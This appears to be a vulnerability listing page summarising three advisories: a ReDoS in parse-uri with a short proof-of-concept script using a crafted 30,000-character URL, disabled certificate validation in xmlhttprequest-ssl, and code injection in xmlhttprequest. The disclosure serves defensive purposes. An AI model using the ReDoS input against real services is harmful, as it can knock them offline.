All the vulnerabilities related to the version 4.0.3 of the package
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
Improper Certificate Validation in xmlhttprequest-ssl
The xmlhttprequest-ssl package before 1.6.1 for Node.js disables SSL certificate validation by default, because rejectUnauthorized (when the property exists but is undefined) is considered to be false within the https.request function of Node.js. In other words, no certificate is ever rejected.
xmlhttprequest and xmlhttprequest-ssl vulnerable to Arbitrary Code Injection
This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.
